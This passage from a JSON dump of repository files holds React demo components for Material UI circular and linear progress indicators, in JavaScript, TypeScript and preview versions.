    "content": "import Stack from '@mui/material/Stack';\nimport CircularProgress from '@mui/material/CircularProgress';\n\nexport default function CircularColor() {\n  return (\n    <Stack sx={{ color: 'grey.500' }} spacing={2} direction=\"row\">\n      <CircularProgress color=\"secondary\" aria-label=\"Loading…\" />\n      <CircularProgress color=\"success\" aria-label=\"Loading…\" />\n      <CircularProgress color=\"inherit\" aria-label=\"Loading…\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularColor.tsx.preview",
    "content": "<CircularProgress color=\"secondary\" aria-label=\"Loading…\" />\n<CircularProgress color=\"success\" aria-label=\"Loading…\" />\n<CircularProgress color=\"inherit\" aria-label=\"Loading…\" />"
  },
  {
    "path": "docs/data/material/components/progress/CircularDeterminate.js",
    "content": "import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport CircularProgress from '@mui/material/CircularProgress';\n\nexport default function CircularDeterminate() {\n  const [progress, setProgress] = React.useState(0);\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      setProgress((prevProgress) => (prevProgress >= 100 ? 0 : prevProgress + 10));\n    }, 800);\n\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <CircularProgress variant=\"determinate\" value={25} aria-label=\"Export data\" />\n      <CircularProgress variant=\"determinate\" value={50} aria-label=\"Export data\" />\n      <CircularProgress variant=\"determinate\" value={75} aria-label=\"Export data\" />\n      <CircularProgress variant=\"determinate\" value={100} aria-label=\"Export data\" />\n      <CircularProgress\n        variant=\"determinate\"\n        value={progress}\n        aria-label=\"Export data\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularDeterminate.tsx",
    "content": "import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport CircularProgress from '@mui/material/CircularProgress';\n\nexport default function CircularDeterminate() {\n  const [progress, setProgress] = React.useState(0);\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      setProgress((prevProgress) => (prevProgress >= 100 ? 0 : prevProgress + 10));\n    }, 800);\n\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <CircularProgress variant=\"determinate\" value={25} aria-label=\"Export data\" />\n      <CircularProgress variant=\"determinate\" value={50} aria-label=\"Export data\" />\n      <CircularProgress variant=\"determinate\" value={75} aria-label=\"Export data\" />\n      <CircularProgress variant=\"determinate\" value={100} aria-label=\"Export data\" />\n      <CircularProgress\n        variant=\"determinate\"\n        value={progress}\n        aria-label=\"Export data\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularDeterminate.tsx.preview",
    "content": "<CircularProgress variant=\"determinate\" value={25} aria-label=\"Export data\" />\n<CircularProgress variant=\"determinate\" value={50} aria-label=\"Export data\" />\n<CircularProgress variant=\"determinate\" value={75} aria-label=\"Export data\" />\n<CircularProgress variant=\"determinate\" value={100} aria-label=\"Export data\" />\n<CircularProgress\n  variant=\"determinate\"\n  value={progress}\n  aria-label=\"Export data\"\n/>"
  },
  {
    "path": "docs/data/material/components/progress/CircularEnableTrack.js",
    "content": "import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport CircularProgress from '@mui/material/CircularProgress';\n\nexport default function CircularEnableTrack() {\n  const [progress, setProgress] = React.useState(0);\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      setProgress((prevProgress) => (prevProgress >= 100 ? 0 : prevProgress + 10));\n    }, 800);\n\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <CircularProgress enableTrackSlot size=\"30px\" aria-label=\"Loading…\" />\n      <CircularProgress enableTrackSlot size={40} aria-label=\"Loading…\" />\n      <CircularProgress enableTrackSlot size=\"3rem\" aria-label=\"Loading…\" />\n      <CircularProgress\n        enableTrackSlot\n        variant=\"determinate\"\n        value={70}\n        aria-label=\"Export data\"\n      />\n      <CircularProgress\n        enableTrackSlot\n        variant=\"determinate\"\n        color=\"secondary\"\n        value={progress}\n        aria-label=\"Upload photos\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularEnableTrack.tsx",
    "content": "import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport CircularProgress from '@mui/material/CircularProgress';\n\nexport default function CircularEnableTrack() {\n  const [progress, setProgress] = React.useState(0);\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      setProgress((prevProgress) => (prevProgress >= 100 ? 0 : prevProgress + 10));\n    }, 800);\n\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <CircularProgress enableTrackSlot size=\"30px\" aria-label=\"Loading…\" />\n      <CircularProgress enableTrackSlot size={40} aria-label=\"Loading…\" />\n      <CircularProgress enableTrackSlot size=\"3rem\" aria-label=\"Loading…\" />\n      <CircularProgress\n        enableTrackSlot\n        variant=\"determinate\"\n        value={70}\n        aria-label=\"Export data\"\n      />\n      <CircularProgress\n        enableTrackSlot\n        variant=\"determinate\"\n        color=\"secondary\"\n        value={progress}\n        aria-label=\"Upload photos\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularEnableTrack.tsx.preview",
    "content": "<CircularProgress enableTrackSlot size=\"30px\" aria-label=\"Loading…\" />\n<CircularProgress enableTrackSlot size={40} aria-label=\"Loading…\" />\n<CircularProgress enableTrackSlot size=\"3rem\" aria-label=\"Loading…\" />\n<CircularProgress\n  enableTrackSlot\n  variant=\"determinate\"\n  value={70}\n  aria-label=\"Export data\"\n/>\n<CircularProgress\n  enableTrackSlot\n  variant=\"determinate\"\n  color=\"secondary\"\n  value={progress}\n  aria-label=\"Upload photos\"\n/>"
  },
  {
    "path": "docs/data/material/components/progress/CircularIndeterminate.js",
    "content": "import CircularProgress from '@mui/material/CircularProgress';\nimport Box from '@mui/material/Box';\n\nexport default function CircularIndeterminate() {\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CircularProgress aria-label=\"Loading…\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularIndeterminate.tsx",
    "content": "import CircularProgress from '@mui/material/CircularProgress';\nimport Box from '@mui/material/Box';\n\nexport default function CircularIndeterminate() {\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CircularProgress aria-label=\"Loading…\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularIndeterminate.tsx.preview",
    "content": "<CircularProgress aria-label=\"Loading…\" />"
  },
  {
    "path": "docs/data/material/components/progress/CircularIntegration.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport { green } from '@mui/material/colors';\nimport Button from '@mui/material/Button';\nimport Fab from '@mui/material/Fab';\nimport CheckIcon from '@mui/icons-material/Check';\nimport SaveIcon from '@mui/icons-material/Save';\n\nexport default function CircularIntegration() {\n  const [loading, setLoading] = React.useState(false);\n  const [success, setSuccess] = React.useState(false);\n  const timer = React.useRef(undefined);\n\n  const buttonSx = {\n    ...(success && {\n      bgcolor: green[500],\n      '&:hover': {\n        bgcolor: green[700],\n      },\n    }),\n  };\n\n  React.useEffect(() => {\n    return () => {\n      clearTimeout(timer.current);\n    };\n  }, []);\n\n  const handleButtonClick = () => {\n    if (!loading) {\n      setSuccess(false);\n      setLoading(true);\n      timer.current = setTimeout(() => {\n        setSuccess(true);\n        setLoading(false);\n      }, 2000);\n    }\n  };\n\n  return (\n    <Box sx={{ display: 'flex', alignItems: 'center' }}>\n      <Box sx={{ m: 1, position: 'relative' }}>\n        <Fab\n          aria-label=\"save\"\n          color=\"primary\"\n          sx={buttonSx}\n          onClick={handleButtonClick}\n        >\n          {success ? <CheckIcon /> : <SaveIcon />}\n        </Fab>\n        {loading && (\n          <CircularProgress\n            aria-label=\"Loading…\"\n            size={68}\n            sx={{\n              color: green[500],\n              position: 'absolute',\n              top: -6,\n              left: -6,\n              zIndex: 1,\n            }}\n          />\n        )}\n      </Box>\n      <Box sx={{ m: 1, position: 'relative' }}>\n        <Button\n          variant=\"contained\"\n          sx={buttonSx}\n          disabled={loading}\n          onClick={handleButtonClick}\n        >\n          Accept terms\n        </Button>\n        {loading && (\n          <CircularProgress\n            aria-label=\"Loading…\"\n            size={24}\n            sx={{\n              color: green[500],\n              position: 'absolute',\n              top: '50%',\n              left: '50%',\n              marginTop: '-12px',\n              marginLeft: '-12px',\n            }}\n          />\n        )}\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularIntegration.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport { green } from '@mui/material/colors';\nimport Button from '@mui/material/Button';\nimport Fab from '@mui/material/Fab';\nimport CheckIcon from '@mui/icons-material/Check';\nimport SaveIcon from '@mui/icons-material/Save';\n\nexport default function CircularIntegration() {\n  const [loading, setLoading] = React.useState(false);\n  const [success, setSuccess] = React.useState(false);\n  const timer = React.useRef<ReturnType<typeof setTimeout>>(undefined);\n\n  const buttonSx = {\n    ...(success && {\n      bgcolor: green[500],\n      '&:hover': {\n        bgcolor: green[700],\n      },\n    }),\n  };\n\n  React.useEffect(() => {\n    return () => {\n      clearTimeout(timer.current);\n    };\n  }, []);\n\n  const handleButtonClick = () => {\n    if (!loading) {\n      setSuccess(false);\n      setLoading(true);\n      timer.current = setTimeout(() => {\n        setSuccess(true);\n        setLoading(false);\n      }, 2000);\n    }\n  };\n\n  return (\n    <Box sx={{ display: 'flex', alignItems: 'center' }}>\n      <Box sx={{ m: 1, position: 'relative' }}>\n        <Fab\n          aria-label=\"save\"\n          color=\"primary\"\n          sx={buttonSx}\n          onClick={handleButtonClick}\n        >\n          {success ? <CheckIcon /> : <SaveIcon />}\n        </Fab>\n        {loading && (\n          <CircularProgress\n            aria-label=\"Loading…\"\n            size={68}\n            sx={{\n              color: green[500],\n              position: 'absolute',\n              top: -6,\n              left: -6,\n              zIndex: 1,\n            }}\n          />\n        )}\n      </Box>\n      <Box sx={{ m: 1, position: 'relative' }}>\n        <Button\n          variant=\"contained\"\n          sx={buttonSx}\n          disabled={loading}\n          onClick={handleButtonClick}\n        >\n          Accept terms\n        </Button>\n        {loading && (\n          <CircularProgress\n            aria-label=\"Loading…\"\n            size={24}\n            sx={{\n              color: green[500],\n              position: 'absolute',\n              top: '50%',\n              left: '50%',\n              marginTop: '-12px',\n              marginLeft: '-12px',\n            }}\n          />\n        )}\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularSize.js",
    "content": "import Stack from '@mui/material/Stack';\nimport CircularProgress from '@mui/material/CircularProgress';\n\nexport default function CircularSize() {\n  return (\n    <Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center' }}>\n      <CircularProgress size=\"30px\" aria-label=\"Loading…\" />\n      <CircularProgress size={40} aria-label=\"Loading…\" />\n      <CircularProgress size=\"3rem\" aria-label=\"Loading…\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularSize.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport CircularProgress from '@mui/material/CircularProgress';\n\nexport default function CircularSize() {\n  return (\n    <Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center' }}>\n      <CircularProgress size=\"30px\" aria-label=\"Loading…\" />\n      <CircularProgress size={40} aria-label=\"Loading…\" />\n      <CircularProgress size=\"3rem\" aria-label=\"Loading…\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularSize.tsx.preview",
    "content": "<CircularProgress size=\"30px\" aria-label=\"Loading…\" />\n<CircularProgress size={40} aria-label=\"Loading…\" />\n<CircularProgress size=\"3rem\" aria-label=\"Loading…\" />"
  },
  {
    "path": "docs/data/material/components/progress/CircularUnderLoad.js",
    "content": "import CircularProgress from '@mui/material/CircularProgress';\n\nexport default function CircularUnderLoad() {\n  return <CircularProgress disableShrink aria-label=\"Loading…\" />;\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularUnderLoad.tsx",
    "content": "import CircularProgress from '@mui/material/CircularProgress';\n\nexport default function CircularUnderLoad() {\n  return <CircularProgress disableShrink aria-label=\"Loading…\" />;\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularUnderLoad.tsx.preview",
    "content": "<CircularProgress disableShrink aria-label=\"Loading…\" />"
  },
  {
    "path": "docs/data/material/components/progress/CircularWithValueLabel.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nfunction CircularProgressWithLabel(props) {\n  return (\n    <Box sx={{ position: 'relative', display: 'inline-flex' }}>\n      <CircularProgress\n        variant=\"determinate\"\n        aria-label=\"Upload photos\"\n        {...props}\n      />\n      <Box\n        sx={{\n          top: 0,\n          left: 0,\n          bottom: 0,\n          right: 0,\n          position: 'absolute',\n          display: 'flex',\n          alignItems: 'center',\n          justifyContent: 'center',\n        }}\n      >\n        <Typography\n          variant=\"caption\"\n          component=\"div\"\n          sx={{ color: 'text.secondary' }}\n        >\n          {`${Math.round(props.value)}%`}\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n\nCircularProgressWithLabel.propTypes = {\n  /**\n   * The value of the progress indicator for the determinate variant.\n   * Value between 0 and 100.\n   * @default 0\n   */\n  value: PropTypes.number.isRequired,\n};\n\nexport default function CircularWithValueLabel() {\n  const [progress, setProgress] = React.useState(10);\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      setProgress((prevProgress) => (prevProgress >= 100 ? 0 : prevProgress + 10));\n    }, 800);\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return <CircularProgressWithLabel value={progress} />;\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularWithValueLabel.tsx",
    "content": "import * as React from 'react';\nimport CircularProgress, {\n  CircularProgressProps,\n} from '@mui/material/CircularProgress';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nfunction CircularProgressWithLabel(\n  props: CircularProgressProps & { value: number },\n) {\n  return (\n    <Box sx={{ position: 'relative', display: 'inline-flex' }}>\n      <CircularProgress\n        variant=\"determinate\"\n        aria-label=\"Upload photos\"\n        {...props}\n      />\n      <Box\n        sx={{\n          top: 0,\n          left: 0,\n          bottom: 0,\n          right: 0,\n          position: 'absolute',\n          display: 'flex',\n          alignItems: 'center',\n          justifyContent: 'center',\n        }}\n      >\n        <Typography\n          variant=\"caption\"\n          component=\"div\"\n          sx={{ color: 'text.secondary' }}\n        >{`${Math.round(props.value)}%`}</Typography>\n      </Box>\n    </Box>\n  );\n}\n\nexport default function CircularWithValueLabel() {\n  const [progress, setProgress] = React.useState(10);\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      setProgress((prevProgress) => (prevProgress >= 100 ? 0 : prevProgress + 10));\n    }, 800);\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return <CircularProgressWithLabel value={progress} />;\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularWithValueLabel.tsx.preview",
    "content": "<CircularProgressWithLabel value={progress} />"
  },
  {
    "path": "docs/data/material/components/progress/CustomizedProgressBars.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Stack from '@mui/material/Stack';\nimport CircularProgress, {\n  circularProgressClasses,\n} from '@mui/material/CircularProgress';\nimport LinearProgress, { linearProgressClasses } from '@mui/material/LinearProgress';\n\nconst BorderLinearProgress = styled(LinearProgress)(({ theme }) => ({\n  height: 10,\n  borderRadius: 5,\n  [`&.${linearProgressClasses.colorPrimary}`]: {\n    backgroundColor: theme.palette.grey[200],\n    ...theme.applyStyles('dark', {\n      backgroundColor: theme.palette.grey[800],\n    }),\n  },\n  [`& .${linearProgressClasses.bar}`]: {\n    borderRadius: 5,\n    backgroundColor: '#1a90ff',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#308fe8',\n    }),\n  },\n}));\n\n// Inspired by the former Facebook spinners.\nfunction FacebookCircularProgress(props) {\n  return (\n    <CircularProgress\n      variant=\"indeterminate\"\n      disableShrink\n      enableTrackSlot\n      sx={(theme) => ({\n        color: '#1a90ff',\n        animationDuration: '550ms',\n        [`& .${circularProgressClasses.circle}`]: {\n          strokeLinecap: 'round',\n        },\n        [`& .${circularProgressClasses.track}`]: {\n          opacity: 1,\n          stroke: (theme.vars || theme).palette.grey[200],\n          ...theme.applyStyles('dark', {\n            stroke: (theme.vars || theme).palette.grey[800],\n          }),\n        },\n        ...theme.applyStyles('dark', {\n          color: '#308fe8',\n        }),\n      })}\n      size={40}\n      thickness={4}\n      aria-label=\"Loading…\"\n      {...props}\n    />\n  );\n}\n\n// From https://github.com/mui/material-ui/issues/9496#issuecomment-959408221\n\nfunction GradientCircularProgress() {\n  return (\n    <React.Fragment>\n      <svg width={0} height={0}>\n        <defs>\n          <linearGradient id=\"my_gradient\" x1=\"0%\" y1=\"0%\" x2=\"0%\" y2=\"100%\">\n            <stop offset=\"0%\" stopColor=\"#e01cd5\" />\n            <stop offset=\"100%\" stopColor=\"#1CB5E0\" />\n          </linearGradient>\n        </defs>\n      </svg>\n      <CircularProgress\n        aria-label=\"Loading…\"\n        sx={{ 'svg circle': { stroke: 'url(#my_gradient)' } }}\n      />\n    </React.Fragment>\n  );\n}\nexport default function CustomizedProgressBars() {\n  return (\n    <Stack spacing={2} sx={{ flexGrow: 1 }}>\n      <FacebookCircularProgress />\n      <GradientCircularProgress />\n      <br />\n      <BorderLinearProgress\n        variant=\"determinate\"\n        value={50}\n        aria-label=\"Export data\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CustomizedProgressBars.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Stack from '@mui/material/Stack';\nimport CircularProgress, {\n  circularProgressClasses,\n  CircularProgressProps,\n} from '@mui/material/CircularProgress';\nimport LinearProgress, { linearProgressClasses } from '@mui/material/LinearProgress';\n\nconst BorderLinearProgress = styled(LinearProgress)(({ theme }) => ({\n  height: 10,\n  borderRadius: 5,\n  [`&.${linearProgressClasses.colorPrimary}`]: {\n    backgroundColor: theme.palette.grey[200],\n    ...theme.applyStyles('dark', {\n      backgroundColor: theme.palette.grey[800],\n    }),\n  },\n  [`& .${linearProgressClasses.bar}`]: {\n    borderRadius: 5,\n    backgroundColor: '#1a90ff',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#308fe8',\n    }),\n  },\n}));\n\n// Inspired by the former Facebook spinners.\nfunction FacebookCircularProgress(props: CircularProgressProps) {\n  return (\n    <CircularProgress\n      variant=\"indeterminate\"\n      disableShrink\n      enableTrackSlot\n      sx={(theme) => ({\n        color: '#1a90ff',\n        animationDuration: '550ms',\n        [`& .${circularProgressClasses.circle}`]: {\n          strokeLinecap: 'round',\n        },\n        [`& .${circularProgressClasses.track}`]: {\n          opacity: 1,\n          stroke: (theme.vars || theme).palette.grey[200],\n          ...theme.applyStyles('dark', {\n            stroke: (theme.vars || theme).palette.grey[800],\n          }),\n        },\n        ...theme.applyStyles('dark', {\n          color: '#308fe8',\n        }),\n      })}\n      size={40}\n      thickness={4}\n      aria-label=\"Loading…\"\n      {...props}\n    />\n  );\n}\n\n// From https://github.com/mui/material-ui/issues/9496#issuecomment-959408221\nfunction GradientCircularProgress() {\n  return (\n    <React.Fragment>\n      <svg width={0} height={0}>\n        <defs>\n          <linearGradient id=\"my_gradient\" x1=\"0%\" y1=\"0%\" x2=\"0%\" y2=\"100%\">\n            <stop offset=\"0%\" stopColor=\"#e01cd5\" />\n            <stop offset=\"100%\" stopColor=\"#1CB5E0\" />\n          </linearGradient>\n        </defs>\n      </svg>\n      <CircularProgress\n        aria-label=\"Loading…\"\n        sx={{ 'svg circle': { stroke: 'url(#my_gradient)' } }}\n      />\n    </React.Fragment>\n  );\n}\nexport default function CustomizedProgressBars() {\n  return (\n    <Stack spacing={2} sx={{ flexGrow: 1 }}>\n      <FacebookCircularProgress />\n      <GradientCircularProgress />\n      <br />\n      <BorderLinearProgress\n        variant=\"determinate\"\n        value={50}\n        aria-label=\"Export data\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CustomizedProgressBars.tsx.preview",
    "content": "<FacebookCircularProgress />\n<GradientCircularProgress />\n<br />\n<BorderLinearProgress\n  variant=\"determinate\"\n  value={50}\n  aria-label=\"Export data\"\n/>"
  },
  {
    "path": "docs/data/material/components/progress/DelayingAppearance.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Fade from '@mui/material/Fade';\nimport Button from '@mui/material/Button';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport Typography from '@mui/material/Typography';\n\nexport default function DelayingAppearance() {\n  const [loading, setLoading] = React.useState(false);\n  const [query, setQuery] = React.useState('idle');\n  const timerRef = React.useRef(undefined);\n\n  React.useEffect(\n    () => () => {\n      clearTimeout(timerRef.current);\n    },\n    [],\n  );\n\n  const handleClickLoading = () => {\n    setLoading((prevLoading) => !prevLoading);\n  };\n\n  const handleClickQuery = () => {\n    if (timerRef.current) {\n      clearTimeout(timerRef.current);\n    }\n\n    if (query !== 'idle') {\n      setQuery('idle');\n      return;\n    }\n\n    setQuery('progress');\n    timerRef.current = setTimeout(() => {\n      setQuery('success');\n    }, 2000);\n  };\n\n  return (\n    <Box sx={{ display: 'flex', flexDirection: 'column', alignItems: 'center' }}>\n      <Box sx={{ height: 40 }}>\n        <Fade\n          in={loading}\n          style={{\n            transitionDelay: loading ? '800ms' : '0ms',\n          }}\n          unmountOnExit\n        >\n          <CircularProgress aria-label=\"Loading…\" />\n        </Fade>\n      </Box>\n      <Button onClick={handleClickLoading} sx={{ m: 2 }}>\n        {loading ? 'Stop loading' : 'Loading'}\n      </Button>\n      <Box sx={{ height: 40 }}>\n        {query === 'success' ? (\n          <Typography>Success!</Typography>\n        ) : (\n          <Fade\n            in={query === 'progress'}\n            style={{\n              transitionDelay: query === 'progress' ? '800ms' : '0ms',\n            }}\n            unmountOnExit\n          >\n            <CircularProgress aria-label=\"Loading…\" />\n          </Fade>\n        )}\n      </Box>\n      <Button onClick={handleClickQuery} sx={{ m: 2 }}>\n        {query !== 'idle' ? 'Reset' : 'Simulate a load'}\n      </Button>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/DelayingAppearance.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Fade from '@mui/material/Fade';\nimport Button from '@mui/material/Button';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport Typography from '@mui/material/Typography';\n\nexport default function DelayingAppearance() {\n  const [loading, setLoading] = React.useState(false);\n  const [query, setQuery] = React.useState('idle');\n  const timerRef = React.useRef<ReturnType<typeof setTimeout>>(undefined);\n\n  React.useEffect(\n    () => () => {\n      clearTimeout(timerRef.current);\n    },\n    [],\n  );\n\n  const handleClickLoading = () => {\n    setLoading((prevLoading) => !prevLoading);\n  };\n\n  const handleClickQuery = () => {\n    if (timerRef.current) {\n      clearTimeout(timerRef.current);\n    }\n\n    if (query !== 'idle') {\n      setQuery('idle');\n      return;\n    }\n\n    setQuery('progress');\n    timerRef.current = setTimeout(() => {\n      setQuery('success');\n    }, 2000);\n  };\n\n  return (\n    <Box sx={{ display: 'flex', flexDirection: 'column', alignItems: 'center' }}>\n      <Box sx={{ height: 40 }}>\n        <Fade\n          in={loading}\n          style={{\n            transitionDelay: loading ? '800ms' : '0ms',\n          }}\n          unmountOnExit\n        >\n          <CircularProgress aria-label=\"Loading…\" />\n        </Fade>\n      </Box>\n      <Button onClick={handleClickLoading} sx={{ m: 2 }}>\n        {loading ? 'Stop loading' : 'Loading'}\n      </Button>\n      <Box sx={{ height: 40 }}>\n        {query === 'success' ? (\n          <Typography>Success!</Typography>\n        ) : (\n          <Fade\n            in={query === 'progress'}\n            style={{\n              transitionDelay: query === 'progress' ? '800ms' : '0ms',\n            }}\n            unmountOnExit\n          >\n            <CircularProgress aria-label=\"Loading…\" />\n          </Fade>\n        )}\n      </Box>\n      <Button onClick={handleClickQuery} sx={{ m: 2 }}>\n        {query !== 'idle' ? 'Reset' : 'Simulate a load'}\n      </Button>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/LinearBuffer.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport LinearProgress from '@mui/material/LinearProgress';\n\nexport default function LinearBuffer() {\n  const [progress, setProgress] = React.useState(0);\n  const [buffer, setBuffer] = React.useState(10);\n\n  const progressRef = React.useRef(() => {});\n  React.useEffect(() => {\n    progressRef.current = () => {\n      if (progress === 100) {\n        setProgress(0);\n        setBuffer(10);\n      } else {\n        setProgress(progress + 1);\n        if (buffer < 100 && progress % 5 === 0) {\n          const newBuffer = buffer + 1 + Math.random() * 10;\n          setBuffer(newBuffer > 100 ? 100 : newBuffer);\n        }\n      }\n    };\n  });\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      progressRef.current();\n    }, 100);\n\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <LinearProgress\n        variant=\"buffer\"\n        value={progress}\n        valueBuffer={buffer}\n        aria-label=\"Loading…\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/LinearBuffer.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport LinearProgress from '@mui/material/LinearProgress';\n\nexport default function LinearBuffer() {\n  const [progress, setProgress] = React.useState(0);\n  const [buffer, setBuffer] = React.useState(10);\n\n  const progressRef = React.useRef(() => {});\n  React.useEffect(() => {\n    progressRef.current = () => {\n      if (progress === 100) {\n        setProgress(0);\n        setBuffer(10);\n      } else {\n        setProgress(progress + 1);\n        if (buffer < 100 && progress % 5 === 0) {\n          const newBuffer = buffer + 1 + Math.random() * 10;\n          setBuffer(newBuffer > 100 ? 100 : newBuffer);\n        }\n      }\n    };\n  });\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      progressRef.current();\n    }, 100);\n\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <LinearProgress\n        variant=\"buffer\"\n        value={progress}\n        valueBuffer={buffer}\n        aria-label=\"Loading…\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/LinearBuffer.tsx.preview",
    "content": "<LinearProgress\n  variant=\"buffer\"\n  value={progress}\n  valueBuffer={buffer}\n  aria-label=\"Loading…\"\n/>"
  },
  {
    "path": "docs/data/material/components/progress/LinearColor.js",
    "content": "import Stack from '@mui/material/Stack';\nimport LinearProgress from '@mui/material/LinearProgress';\n\nexport default function LinearColor() {\n  return (\n    <Stack sx={{ width: '100%', color: 'grey.500' }} spacing={2}>\n      <LinearProgress color=\"secondary\" aria-label=\"Loading…\" />\n      <LinearProgress color=\"success\" aria-label=\"Loading…\" />\n      <LinearProgress color=\"inherit\" aria-label=\"Loading…\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/LinearColor.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport LinearProgress from '@mui/material/LinearProgress';\n\nexport default function LinearColor() {\n  return (\n    <Stack sx={{ width: '100%', color: 'grey.500' }} spacing={2}>\n      <LinearProgress color=\"secondary\" aria-label=\"Loading…\" />\n      <LinearProgress color=\"success\" aria-label=\"Loading…\" />\n      <LinearProgress color=\"inherit\" aria-label=\"Loading…\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/LinearColor.tsx.preview",
    "content": "<LinearProgress color=\"secondary\" aria-label=\"Loading…\" />\n<LinearProgress color=\"success\" aria-label=\"Loading…\" />\n<LinearProgress color=\"inherit\" aria-label=\"Loading…\" />"
  },
  {
    "path": "docs/data/material/components/progress/LinearDeterminate.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport LinearProgress from '@mui/material/LinearProgress';\n\nexport default function LinearDeterminate() {\n  const [progress, setProgress] = React.useState(0);\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      setProgress((oldProgress) => {\n        if (oldProgress === 100) {\n          return 0;\n        }\n        const diff = Math.random() * 10;\n        return Math.min(oldProgress + diff, 100);\n      });\n    }, 500);\n\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <LinearProgress\n        variant=\"determinate\"\n        value={progress}\n        aria-label=\"Export data\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/LinearDeterminate.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport LinearProgress from '@mui/material/LinearProgress';\n\nexport default function LinearDeterminate() {\n  const [progress, setProgress] = React.useState(0);\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      setProgress((oldProgress) => {\n        if (oldProgress === 100) {\n          return 0;\n        }\n        const diff = Math.random() * 10;\n        return Math.min(oldProgress + diff, 100);\n      });\n    }, 500);\n\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <LinearProgress\n        variant=\"determinate\"\n        value={progress}\n        aria-label=\"Export data\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
